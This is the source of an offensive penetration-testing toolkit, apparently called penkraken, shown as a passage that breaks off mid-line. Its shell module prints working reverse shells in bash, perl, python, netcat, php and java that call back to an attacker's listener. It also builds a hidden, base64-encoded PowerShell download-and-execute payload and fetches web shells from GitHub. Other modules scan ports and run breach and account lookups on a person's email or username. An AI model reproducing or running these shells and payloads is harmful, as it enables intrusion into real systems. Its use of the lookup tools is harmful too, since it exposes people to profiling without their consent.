self.InvokeTCPurl = 'https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1' 14 | 15 | x = input(f"{penkraken.colors['blue']}\n[+] Reverse shells:\n{penkraken.colors['green']}\n[1] Bash Reverse Shell\n[2] Perl Reverse Shell\n[3] Powershell reverse shell\n[4] Python Reverse Shell\n[5] Netcat Reverse Shell\n[6] PHP Reverse Shell\n[7] Java Reverse Shell\n\n{penkraken.colors['blue']}[+] Web shells:\n\n{penkraken.colors['green']}[8] PHP WebShell\n[9] ASP WebShell\n[10] ASPX WebShell\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 16 | if int(x) in range(1,8): 17 | host = input(f"\n{penkraken.colors['blue']}[+] Enter Your Listener Host: {penkraken.colors['reset']}") 18 | port = input(f"\n{penkraken.colors['blue']}[+] Enter Your Listener Port: {penkraken.colors['reset']}") 19 | if x == '1': 20 | self.bash(host,port) 21 | elif x == '2': 22 | self.perl(host,port) 23 | elif x == '3': 24 | self.powershell(host,port) 25 | elif x == '4': 26 | self.python(host,port) 27 | elif x == '5': 28 | self.netcat(host,port) 29 | elif x == '6': 30 | self.php_rev(host,port) 31 | elif x == '7': 32 | self.java(host,port) 33 | 34 | else: 35 | if x == '8': 36 | self.php_web() 37 | elif x == '9': 38 | self.asp() 39 | elif x == '10': 40 | self.aspx() 41 | 42 | 43 | def bash(self,host,port): 44 | res = f"{penkraken.colors['green']}\n[+] Bash Reverse shell:{penkraken.colors['magenta']}bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1'{penkraken.colors['reset']}" 45 | print(f"{penkraken.colors['green']}\n[+] Bash Reverse shell: {penkraken.colors['magenta']}bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1'{penkraken.colors['reset']}") 46 | self.results.append(res) 47 | 48 | def perl(self,host,port): 49 | com = "perl -e 'use Socket;$i=\""+host+"\";$p="+port+";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" 50 | print(f"{penkraken.colors['green']}\n[+] Perl Rev Shell: {penkraken.colors['magenta']}{com}{penkraken.colors['reset']}") 51 | res = f"{penkraken.colors['green']}\n[+] Perl Rev Shell: {penkraken.colors['magenta']}{com}{penkraken.colors['reset']}" 52 | self.results.append(res) 53 | 54 | 55 | def powershell(self,host,port): 56 | print(f"\n{penkraken.colors['blue']}[+] Downloading Invoke-PowershellTCP...{penkraken.colors['reset']}") 57 | time.sleep(0.25) 58 | command = f"wget {self.InvokeTCPurl}" 59 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 60 | print(f"\n{penkraken.colors['green']}[+] Invoke-PowershellTCP Downloaded successfully!{penkraken.colors['reset']}") 61 | time.sleep(0.25) 62 | print(f"\n{penkraken.colors['blue']}[+] Appending shell...{penkraken.colors['reset']}") 63 | time.sleep(0.25) 64 | command = f"echo 'Invoke-PowerShellTcp -Reverse -IPAddress {host} -Port {port}' >> Invoke-PowerShellTcp.ps1" 65 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 66 | print(f"\n{penkraken.colors['green']}[+] Invoke-PowershellTCP Modified successfully!{penkraken.colors['reset']}") 67 | time.sleep(0.25) 68 | payload = f"IEX(New-Object Net.WebClient).downloadString('http://{host}:8000/Invoke-PowerShellTcp.ps1')" 69 | print(f"\n{penkraken.colors['green']}[+] Encoding payload{penkraken.colors['reset']}") 70 | encoded = str(b64encode(payload.encode('UTF-16LE')).decode()) 71 | time.sleep(0.5) 72 | print(f"\n{penkraken.colors['green']}[+] Powershell Encoded Shell: {penkraken.colors['magenta']}powershell.exe -nop -w hidden -e {encoded}{penkraken.colors['reset']}") 73 | print(f"\n{penkraken.colors['blue']}[!] Remeber to open a python http server on port 8000 hosting Invoke-PowerShellTcp.ps1{penkraken.colors['reset']}") 74 | res = f"\n{penkraken.colors['green']}[+] Powershell Encoded Shell: {penkraken.colors['magenta']}powershell.exe -nop -w hidden -e {encoded}{penkraken.colors['reset']}" 75 | self.results.append(res) 76 | 77 | def python(self,host,port): 78 | com = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+host+"\","+port+"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" 79 | print(f"{penkraken.colors['green']}\n[+] Python Rev Shell: {penkraken.colors['magenta']}{com}{penkraken.colors['reset']}") 80 | res = f"{penkraken.colors['green']}\n[+] Python Rev Shell: {penkraken.colors['magenta']}{com}{penkraken.colors['reset']}" 81 | self.results.append(res) 82 | 83 | def netcat(self,host,port): 84 | com1 = f"nc -e /bin/sh {host} {port}" 85 | com2 = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {host} {port} >/tmp/f" 86 | res1 = f"{penkraken.colors['green']}\n[+] Netcat Rev Shell 1: {penkraken.colors['magenta']}{com1}{penkraken.colors['reset']}" 87 | res2 = f"{penkraken.colors['green']}\n[+] Netcat Rev Shell 2: {penkraken.colors['magenta']}{com2}{penkraken.colors['reset']}" 88 | print(res1,res2) 89 | self.results.append(res1) 90 | self.results.append(res2) 91 | 92 | def php_rev(self,host,port): 93 | com = "php -r '$sock=fsockopen(\""+host+"\","+port+");exec(\"/bin/sh -i <&3 >&3 2>&3\");'" 94 | res = f"{penkraken.colors['green']}\n[+] PHP Rev Shell: {penkraken.colors['magenta']}{com}{penkraken.colors['reset']}" 95 | print(res) 96 | self.results.append(res) 97 | 98 | def java(self,host,port): 99 | exp = ["r = Runtime.getRuntime()", 100 | "p = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/"+host+"/"+port+";cat <&5 | while read line; do \$line 2>&5 >&5; done\"] as String[])", 101 | "p.waitFor()"] 102 | com = ''.join('\n'+x for x in exp) 103 | res = f"{penkraken.colors['green']}\n[+] Java Rev Shell: {penkraken.colors['magenta']}{com}{penkraken.colors['reset']}" 104 | print(res) 105 | self.results.append(res) 106 | 107 | def php_web(self): 108 | com = "echo '' > simple-webshell.php" 109 | process = subprocess.Popen(com, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 110 | res = f"{penkraken.colors['green']}\n[+] PHP Webshell exported to: {penkraken.colors['magenta']}'simple-webshell.php'{penkraken.colors['reset']}" 111 | print(res) 112 | self.results.append(res) 113 | 114 | 115 | def asp(self): 116 | com = "wget https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp" 117 | process = subprocess.Popen(com, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 118 | time.sleep(1) 119 | res = f"{penkraken.colors['green']}\n[+] ASP Webshell downloaded to: {penkraken.colors['magenta']}'webshell.asp'{penkraken.colors['reset']}" 120 | print(res) 121 | self.results.append(res) 122 | 123 | def aspx(self): 124 | com = "wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd.aspx" 125 | process = subprocess.Popen(com, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 126 | time.sleep(1) 127 | res = f"{penkraken.colors['green']}\n[+] ASP Webshell downloaded to: {penkraken.colors['magenta']}'cmd.aspx'{penkraken.colors['reset']}" 128 | print(res) 129 | self.results.append(res) 130 | 131 | 132 | def Init(): 133 | try: 134 | print(f"{penkraken.colors['blue']}\n[+] Welcome to the {penkraken.colors['red']}ShellCrafter{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 135 | target = Shellcraft() 136 | out = '' 137 | for x in target.results: 138 | out += x + '\n' 139 | return out 140 | 141 | except: 142 | print(f"{penkraken.colors['red']}\n[-] Exiting Exploit Searcher Module{penkraken.colors['reset']}") 143 | -------------------------------------------------------------------------------- /modules/port_scanning.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import subprocess 3 | import ipaddress 4 | import nmap 5 | import sys 6 | sys.path.append('../') 7 | import penkraken 8 | 9 | class openPorts: 10 | 11 | def __init__(self): 12 | self.ip = input(f"{penkraken.colors['blue']}\n[>] Target IP: {penkraken.colors['reset']}") 13 | ip_address = ipaddress.ip_address(self.ip) 14 | self.ports_discovered = '' 15 | self.openPorts(ip_address) 16 | 17 | 18 | def openPorts(self,ip_address): 19 | try: 20 | self.count = 0 21 | while True: 22 | prange = input(f"{penkraken.colors['blue']}[>] Specify port range to scan (from 1 to 65535): {penkraken.colors['reset']}") 23 | if prange.isnumeric() and int(prange) in range(1, 65536): 24 | break 25 | else: 26 | print(f"{penkraken.colors['red']}\n[-] Invalid port range{penkraken.colors['reset']}") 27 | 28 | for port in range(1,int(prange)): 29 | proc = subprocess.Popen(["bash -c \"/bin/echo '' > /dev/tcp/"+str(ip_address)+"/"+str(port)+" 2>&/dev/null\""], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) 30 | (out, err) = proc.communicate() 31 | if b'ambiguous redirect' in out: 32 | print(f"{penkraken.colors['magenta']}[+] Open Port:{penkraken.colors['red']} {str(port)} !!{penkraken.colors['reset']}") 33 | self.count +=1 34 | self.ports_discovered += str(port) + ' ' 35 | 36 | # Display ports 37 | print(f"{penkraken.colors['green']}\n[+] Scan Completed!{penkraken.colors['reset']}") 38 | print(f"{penkraken.colors['magenta']}[+] Discovered Ports: {penkraken.colors['red']}{str(self.count)}{penkraken.colors['reset']}") 39 | print(f"{penkraken.colors['magenta']}[+] Ports: {penkraken.colors['red']}{self.ports_discovered}{penkraken.colors['reset']}") 40 | except: 41 | print(f"{penkraken.colors['red']}\n[-] Failed while scanning ports!{penkraken.colors['reset']}") 42 | 43 | 44 | class nmapPorts: 45 | 46 | def __init__(self): 47 | self.ip = input(f"{penkraken.colors['blue']}\n[>] Target IP: {penkraken.colors['reset']}") 48 | ip_address = ipaddress.ip_address(self.ip) 49 | self.ports_discovered = '' 50 | self.nmap_scan = '' 51 | self.portScan(ip_address) 52 | 53 | 54 | def portScan(self,ip_address): 55 | self.count = 0 56 | options = {'prange': 10000, 'aggression': 3, 'scripts': '', 'avoid_dns_res': '-n', 'skip_ping': '-Pn'} 57 | default = input(f"{penkraken.colors['blue']}\n[>] Use default options 'nmap -p0-10000 -T3 -sV -n -Pn' ? (y/n): {penkraken.colors['reset']}") 58 | if 'n' in str(default).lower(): 59 | print(f"{penkraken.colors['blue']}\n[+] Time to set up scan options") 60 | # Port range 61 | while True: 62 | prange = input(f"{penkraken.colors['green']}\n[>] Specify port range to scan (from 1 to 65535): {penkraken.colors['reset']}") 63 | if prange.isnumeric() and int(prange) in range(1, 65536): 64 | options['prange'] = int(prange) 65 | break 66 | else: 67 | print(f"{penkraken.colors['red']}\n[-] Invalid port range{penkraken.colors['reset']}") 68 | # Aggression level 69 | while True: 70 | aggression = input(f"{penkraken.colors['blue']}[>] Specify aggression level (1-5): {penkraken.colors['reset']}") 71 | if aggression.isnumeric() and int(aggression) in range(1,6): 72 | options['aggression'] = int(aggression) 73 | break 74 | else: 75 | print(f"{penkraken.colors['red']}\n[-] Invalid Aggression Level{penkraken.colors['reset']}") 76 | # Include Scripts 77 | while True: 78 | scripts = input(f"{penkraken.colors['blue']}[>] Would you like to use nmap scripts? (y/n): {penkraken.colors['reset']}") 79 | if 'y' in str(scripts).lower(): 80 | options['scripts'] = 'C' 81 | break 82 | elif 'n' in str(scripts).lower(): 83 | break 84 | else: 85 | print(f"{penkraken.colors['red']}\n[-] Didn't understand your input{penkraken.colors['reset']}") 86 | # Include dns resolution 87 | while True: 88 | dns = input(f"{penkraken.colors['blue']}[>] Would you like to avoid using dns resolution (-n)? (y/n): {penkraken.colors['reset']}") 89 | if 'n' in str(dns).lower(): 90 | options['avoid_dns_res'] = '' 91 | break 92 | elif 'y' in str(dns).lower(): 93 | break 94 | else: 95 | print(f"{penkraken.colors['red']}\n[-] Didn't understand your input{penkraken.colors['reset']}") 96 | # Avoid using NoPing 97 | while True: 98 | ping = input(f"{penkraken.colors['blue']}[>] Would you like to use NoPing option (-Pn)? (y/n): {penkraken.colors['reset']}") 99 | if 'n' in str(ping).lower(): 100 | options['avoid_dns_res'] = '' 101 | break 102 | elif 'y' in str(ping).lower(): 103 | break 104 | else: 105 | print(f"{penkraken.colors['red']}\n[-] Didn't understand your input{penkraken.colors['reset']}") 106 | 107 | else: 108 | pass 109 | 110 | try: 111 | print(f"{penkraken.colors['green']}\n[+] Starting nmap scan (This could take some time...){penkraken.colors['reset']}") 112 | nm_arguments = "-p0-"+str(options['prange'])+" -T"+str(options['aggression'])+" -sV"+str(options['scripts'])+ " " +str(options['avoid_dns_res']) + " "+ str(options['skip_ping']) 113 | nm = nmap.PortScanner() 114 | dump = nm.scan(hosts=str(ip_address), arguments=nm_arguments) 115 | tcp = dump['scan'][str(ip_address)]['tcp'] 116 | results = '' 117 | for k,v in tcp.items(): 118 | if v['state'] == 'open': 119 | results+="\n[+] Open port: " + str(k) 120 | self.count += 1 121 | self.ports_discovered += str(k) + " " 122 | results+="\n[+] Port info:" 123 | for x,y in v.items(): 124 | if str(x) == "script": 125 | results+="\n -> Scripts:" 126 | for a,b in y.items(): 127 | results+="\n -> " + str(a) + " : " + str(b) 128 | else: 129 | results+="\n -> " + str(x) + " : " + str(y) 130 | print(f"{penkraken.colors['green']}{results}{penkraken.colors['reset']}") 131 | self.nmap_scan = results 132 | print(f"{penkraken.colors['green']}\n[+] Scan Completed!{penkraken.colors['reset']}") 133 | print(f"{penkraken.colors['magenta']}[+] Discovered Ports: {penkraken.colors['red']}{str(self.count)}{penkraken.colors['reset']}") 134 | print(f"{penkraken.colors['magenta']}[+] Ports: {penkraken.colors['red']}{self.ports_discovered}{penkraken.colors['reset']}") 135 | write_output = input(f"{penkraken.colors['blue']}\n[>] Would you like to write the nmap scan results to a file? (y/n): {penkraken.colors['reset']}") 136 | if 'y' in str(write_output).lower(): 137 | file = open("Nmap-Results.txt", "w") 138 | file.write(results) 139 | file.close() 140 | print(f"{penkraken.colors['green']}\n[+] Results were succesfully exported to 'Nmap-Results.txt'{penkraken.colors['reset']}") 141 | else: 142 | pass 143 | 144 | except: 145 | print(f"{penkraken.colors['red']}\n[-] Nmap command failed{penkraken.colors['reset']}") 146 | 147 | 148 | 149 | 150 | def Init(): 151 | try: 152 | print(f"{penkraken.colors['blue']}\n[+] Welcome to {penkraken.colors['red']}PortScanning{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 153 | while True: 154 | x = input(f"{penkraken.colors['green']}\n[1] OpenPorts Discovery Script\n[2] Nmap Full Ports & Services Scan\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 155 | if str(x) != '1' and str(x) != '2': 156 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 157 | else: 158 | break 159 | 160 | if str(x) == '1': 161 | target = openPorts() 162 | elif str(x) == '2': 163 | target = nmapPorts() 164 | 165 | # Return ports 166 | try: 167 | return [target.ip, ''.join('\n[+]'+str(x) for x in target.ports_discovered.split('\n')), target.nmap_scan] 168 | except: 169 | return [target.ip, ''.join('\n[+]'+str(x) for x in target.ports_discovered.split('\n'))] 170 | 171 | except ValueError: 172 | print(f"{penkraken.colors['red']}[-] Invalid address: %s{penkraken.colors['reset']}" % sys.argv[1]) 173 | sys.exit(1) 174 | 175 | except: 176 | print(f"{penkraken.colors['red']}\n[-] Exiting Port Scan{penkraken.colors['reset']}") 177 | 178 | -------------------------------------------------------------------------------- /modules/OSINT_tools.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # https://osintframework.com/ + https://github.com/topics/osint-tools 4 | # domain/ip = https://github.com/m0rtem/CloudFail + TheHarvester + whois 5 | # mails = https://github.com/GiJ03/Infoga + Holehe 6 | # usernames = sherlock 7 | # sample pdf https://pdfobject.com/pdf/sample.pdf 8 | 9 | import sys 10 | sys.path.append('../') 11 | import penkraken 12 | import subprocess 13 | import re 14 | 15 | class Osint: 16 | 17 | def __init__(self,name): 18 | self.name = name 19 | self.doc_extensions = [".doc",".docx",".xls",".xlsx",".ppt",".pptx",".odt",".ods",".odp",".rtf",".csv",".pdf"] 20 | self.web_extensions = [".com",".org",".net",".gov",".edu",".int",".mil",".arpa",".biz",".info",".mobi",".name",".pro",".aero",".coop",".museum",".asia",".jobs",".tel",".travel",] 21 | self.flag = '' 22 | 23 | file=False 24 | for x in self.doc_extensions: 25 | if x in name.lower(): 26 | file = True 27 | 28 | site=False 29 | for x in self.web_extensions: 30 | if x in name.lower(): 31 | site = True 32 | 33 | self.results = [] 34 | if '@' in name: 35 | try: 36 | print(f"\n{penkraken.colors['green']}[+] Mail Detected!{penkraken.colors['reset']}") 37 | self.flag = 'Mails' 38 | self.Holehe() 39 | self.infoga() 40 | self.h8mail() 41 | except: 42 | print(f"\n{penkraken.colors['red']}[-] Name Scan Failed{penkraken.colors['reset']}") 43 | 44 | elif site: 45 | try: 46 | print(f"\n{penkraken.colors['green']}[+] Domain Detected!{penkraken.colors['reset']}") 47 | self.flag = 'Domains' 48 | self.TheHarvester() 49 | self.cloudfail() 50 | self.whois() 51 | except: 52 | print(f"\n{penkraken.colors['red']}[-] Mail Scan Failed{penkraken.colors['reset']}") 53 | 54 | elif file: 55 | try: 56 | print(f"\n{penkraken.colors['green']}[+] File Detected!{penkraken.colors['reset']}") 57 | self.flag = 'Metadata' 58 | self.exiftool() 59 | except: 60 | print(f"\n{penkraken.colors['red']}[-] Metadata extractor Failed{penkraken.colors['reset']}") 61 | 62 | else: 63 | try: 64 | print(f"\n{penkraken.colors['green']}[+] Username Detected!{penkraken.colors['reset']}") 65 | self.flag = 'Usernames' 66 | self.sherlock() 67 | self.maigret() 68 | except: 69 | print(f"\n{penkraken.colors['red']}[-] Username Scan Failed{penkraken.colors['reset']}") 70 | 71 | def sherlock(self): 72 | try: 73 | output = subprocess.Popen(f'sudo sherlock {self.name}',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 74 | info = f"{penkraken.colors['green']}[+] Sherlock Scan results:{penkraken.colors['reset']}" 75 | print(info) 76 | self.results.append(info) 77 | while True: 78 | salida = output.stdout.readline() 79 | if salida == '' and output.poll() is not None: 80 | break 81 | if salida: 82 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 83 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 84 | except: 85 | print(f"\n{penkraken.colors['red']}[-] Sherlock Scan Failed{penkraken.colors['reset']}") 86 | 87 | def Holehe(self): 88 | try: 89 | output = subprocess.Popen(f'holehe {self.name}',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 90 | info = f"{penkraken.colors['green']}[+] Holehe Scan results:\n[+] The mail {penkraken.colors['magenta']}{self.name}{penkraken.colors['green']} has been used in:{penkraken.colors['reset']}" 91 | print(info) 92 | self.results.append(info) 93 | while True: 94 | salida = output.stdout.readline() 95 | if salida == '' and output.poll() is not None: 96 | break 97 | if '[+]' in salida: 98 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 99 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 100 | except: 101 | print(f"\n{penkraken.colors['red']}[-] Holehe Scan Failed{penkraken.colors['reset']}") 102 | 103 | def infoga(self): 104 | try: 105 | output = subprocess.Popen(f'infoga --info {self.name} --breach -v 3',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 106 | info = f"{penkraken.colors['green']}[+] Infoga Scan results:\n[+] The mail {penkraken.colors['magenta']}{self.name}{penkraken.colors['green']} has been used in:{penkraken.colors['reset']}" 107 | print(info) 108 | self.results.append(info) 109 | while True: 110 | salida = output.stdout.readline() 111 | if salida == '' and output.poll() is not None: 112 | break 113 | if salida: 114 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 115 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 116 | except: 117 | print(f"\n{penkraken.colors['red']}[-] Infoga Scan Failed{penkraken.colors['reset']}") 118 | 119 | def h8mail(self): 120 | try: 121 | output = subprocess.Popen(f'h8mail -t {self.name}',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 122 | info = f"{penkraken.colors['green']}[+] H8Mail Scan results:{penkraken.colors['reset']}" 123 | print(info) 124 | self.results.append(info) 125 | while True: 126 | salida = output.stdout.readline() 127 | if salida == '' and output.poll() is not None: 128 | break 129 | if salida: 130 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 131 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 132 | except: 133 | print(f"\n{penkraken.colors['red']}[-] h8mail Scan Failed{penkraken.colors['reset']}") 134 | 135 | def TheHarvester(self): 136 | try: 137 | output = subprocess.Popen(f'theharvester -d {self.name} -l 1000 -b bing,duckduckgo',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 138 | info = f"{penkraken.colors['green']}[+] TheHarvester Scan results:{penkraken.colors['reset']}" 139 | print(info) 140 | self.results.append(info) 141 | while True: 142 | salida = output.stdout.readline() 143 | if salida == '' and output.poll() is not None: 144 | break 145 | if salida: 146 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 147 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 148 | except: 149 | print(f"\n{penkraken.colors['red']}[-] TheHarvester Scan Failed{penkraken.colors['reset']}") 150 | 151 | def whois(self): 152 | try: 153 | output = subprocess.Popen(f'whois {self.name}',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 154 | info = f"{penkraken.colors['green']}[+] Whois Scan results:{penkraken.colors['reset']}" 155 | print(info) 156 | self.results.append(info) 157 | while True: 158 | salida = output.stdout.readline() 159 | if salida == '' and output.poll() is not None: 160 | break 161 | if '>>>' in salida: 162 | break 163 | if salida: 164 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 165 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 166 | except: 167 | print(f"\n{penkraken.colors['red']}[-] Whois Scan Failed{penkraken.colors['reset']}") 168 | 169 | def cloudfail(self): 170 | try: 171 | output = subprocess.Popen(f'sudo cloudfail -t {self.name}',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 172 | info = f"{penkraken.colors['green']}[+] CloudFail Results:{penkraken.colors['reset']}" 173 | print(info) 174 | self.results.append(info) 175 | while True: 176 | salida = output.stdout.readline() 177 | if salida == '' and output.poll() is not None: 178 | break 179 | if 'cloudfail.py' not in salida and 'choice' not in salida: 180 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 181 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 182 | except: 183 | print(f"\n{penkraken.colors['red']}[-] CloudFail Scan Failed{penkraken.colors['reset']}") 184 | 185 | def exiftool(self): 186 | try: 187 | output = subprocess.Popen(f'exiftool {self.name}',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 188 | info = f"{penkraken.colors['green']}[+] Exiftool Results:{penkraken.colors['reset']}" 189 | print(info) 190 | self.results.append(info) 191 | while True: 192 | salida = output.stdout.readline() 193 | if salida == '' and output.poll() is not None: 194 | break 195 | if salida: 196 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 197 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 198 | except: 199 | print(f"\n{penkraken.colors['red']}[-] ExifTool Scan Failed{penkraken.colors['reset']}") 200 | 201 | def maigret(self): 202 | try: 203 | output = subprocess.Popen(f'maigret {self.name}',stdout=subprocess.PIPE ,stderr=subprocess.STDOUT, text=True, shell=True) 204 | info = f"{penkraken.colors['green']}[+] Maigret Scan results:\n[+] The nickname {penkraken.colors['magenta']}{self.name}{penkraken.colors['green']} has been used in:{penkraken.colors['reset']}" 205 | print(info) 206 | self.results.append(info) 207 | while True: 208 | salida = output.stdout.readline() 209 | if salida == '' and output.poll() is not None: 210 | break 211 | if '100%' in salida: 212 | break 213 | if '%' not in salida: 214 | print(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 215 | self.results.append(f"{penkraken.colors['magenta']}{salida.strip()}{penkraken.colors['reset']}") 216 | except: 217 | print(f"\n{penkraken.colors['red']}[-] Holehe Scan Failed{penkraken.colors['reset']}") 218 | 219 | 220 | 221 | def Init(): 222 | try: 223 | print(f"{penkraken.colors['blue']}\n[+] Welcome to the {penkraken.colors['red']}OSINT{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 224 | opt = input(f"{penkraken.colors['blue']}\n[>] Name/mail/domain/document: {penkraken.colors['reset']}") 225 | target = Osint(opt) 226 | out = '' 227 | for x in target.results: 228 | out += x + '\n' 229 | return [target.flag, out, opt] 230 | 231 | except: 232 | print(f"{penkraken.colors['red']}\n[-] Exiting OSINT Module{penkraken.colors['reset']}") 233 | 234 | 235 | -------------------------------------------------------------------------------- /modules/Fuzzing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | sys.path.append('../') 5 | import penkraken 6 | import subprocess 7 | import socket 8 | import re 9 | 10 | class fuzzer: 11 | def __init__(self,target): 12 | self.target = target 13 | self.results = [] 14 | self.ip = '' 15 | self.flag = '' 16 | self.obtain_ip(target) 17 | while True: 18 | x = input(f"{penkraken.colors['green']}\n[1] Subdirectories discovery\n[2] Subdomains discovery\n[3] Post data Fuzzing\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 19 | if str(x) != '1' and str(x) != '2' and str(x) != '3': 20 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 21 | else: 22 | break 23 | 24 | flag = '' 25 | 26 | if x == '2': 27 | self.subdomains_fuzz() 28 | flag = 'subdomains' 29 | elif x == '3': 30 | self.post_fuzzing() 31 | flag = 'post-data' 32 | else: 33 | self.subdirectories_fuzz() 34 | flag = 'subdirectories' 35 | 36 | try: 37 | # write Output to a file 38 | write = input(f"{penkraken.colors['green']}\n[>] Would you like to write the output to a file? (y/n): {penkraken.colors['reset']}") 39 | if 'y' in str(write).lower(): 40 | file = open(f'Fuzzing-{flag}-results.txt', 'w') 41 | content = ''.join(str(x)+'\n' for x in self.results) 42 | file.write(content) 43 | file.close() 44 | print(f"{penkraken.colors['green']}\n[+] Output was correctly saved to {penkraken.colors['magenta']}'Fuzzing-{flag}-results.txt'\n{penkraken.colors['reset']}") 45 | 46 | except: 47 | print(f"\n{penkraken.colors['red']}[-] Error while saving output to file{penkraken.colors['reset']}") 48 | 49 | def obtain_ip(self,domain): 50 | try: 51 | domain = domain.replace('https://','').replace('http://','').split('/')[0] 52 | self.ip = socket.gethostbyname(domain) 53 | return self.ip 54 | except socket.error as e: 55 | print(f"Couldn't obatin IP from {domain}. Error: {e}") 56 | return None 57 | 58 | def subdirectories_fuzz(self): 59 | self.flag = 'subdirectories' 60 | wordlist = input(f"{penkraken.colors['blue']}[+] Select wordlist location (ex: /usr/share/wordlist/mywordlist.txt): {penkraken.colors['reset']}") 61 | print(f"{penkraken.colors['blue']}\n[+] Starting subdirectory scan...\n[+] Wordlist = {penkraken.colors['magenta']}{wordlist}{penkraken.colors['blue']}\n[+] Target = {penkraken.colors['magenta']}{self.target}\n{penkraken.colors['blue']}{penkraken.colors['reset']}") 62 | extensions = input(f"{penkraken.colors['blue']}[+] Do you want to add any extensions to the fuzz? (ex: .php,.txt,.html) (Leave blank otherwise): {penkraken.colors['reset']}") 63 | filter_words = input(f"{penkraken.colors['blue']}[+] Do you want to apply a filter to avoid showing certain word (ex: 9128,532) (Leave blank otherwise): {penkraken.colors['reset']}") 64 | if extensions != '': 65 | print(f"{penkraken.colors['blue']}\n[+] Extensions = {penkraken.colors['magenta']}{extensions}{penkraken.colors['reset']}\n") 66 | if filter_words != '': 67 | command = f"ffuf -c -r -w {wordlist} -e {extensions} -u {self.target}/FUZZ -fw {filter_words}" 68 | else: 69 | command = f"ffuf -c -r -w {wordlist} -e {extensions} -u {self.target}/FUZZ" 70 | else: 71 | if filter_words != '': 72 | command = f"ffuf -c -r -w {wordlist} -u {self.target}/FUZZ -fw {filter_words}" 73 | else: 74 | command = f"ffuf -c -r -w {wordlist} -u {self.target}/FUZZ" 75 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 76 | while True: 77 | salida = process.stdout.readline() 78 | if salida == '' and process.poll() is not None: 79 | break 80 | if len(salida) > 10: 81 | if 'Progress' not in salida and '#' not in salida: 82 | print(salida.strip()) 83 | self.results.append(salida.strip()) 84 | 85 | def subdomains_fuzz(self): 86 | self.flag = 'subdomains' 87 | wordlist = input(f"{penkraken.colors['blue']}[+] Select wordlist location (ex: /usr/share/wordlist/mywordlist.txt): {penkraken.colors['reset']}") 88 | print(f"{penkraken.colors['blue']}\n[+] Starting subdomain scan...\n[+] Wordlist = {penkraken.colors['magenta']}{wordlist}{penkraken.colors['blue']}\n[+] Target = {penkraken.colors['magenta']}{self.target}\n{penkraken.colors['blue']}{penkraken.colors['reset']}") 89 | filter_words = input(f"{penkraken.colors['blue']}[+] Do you want to apply a filter to avoid 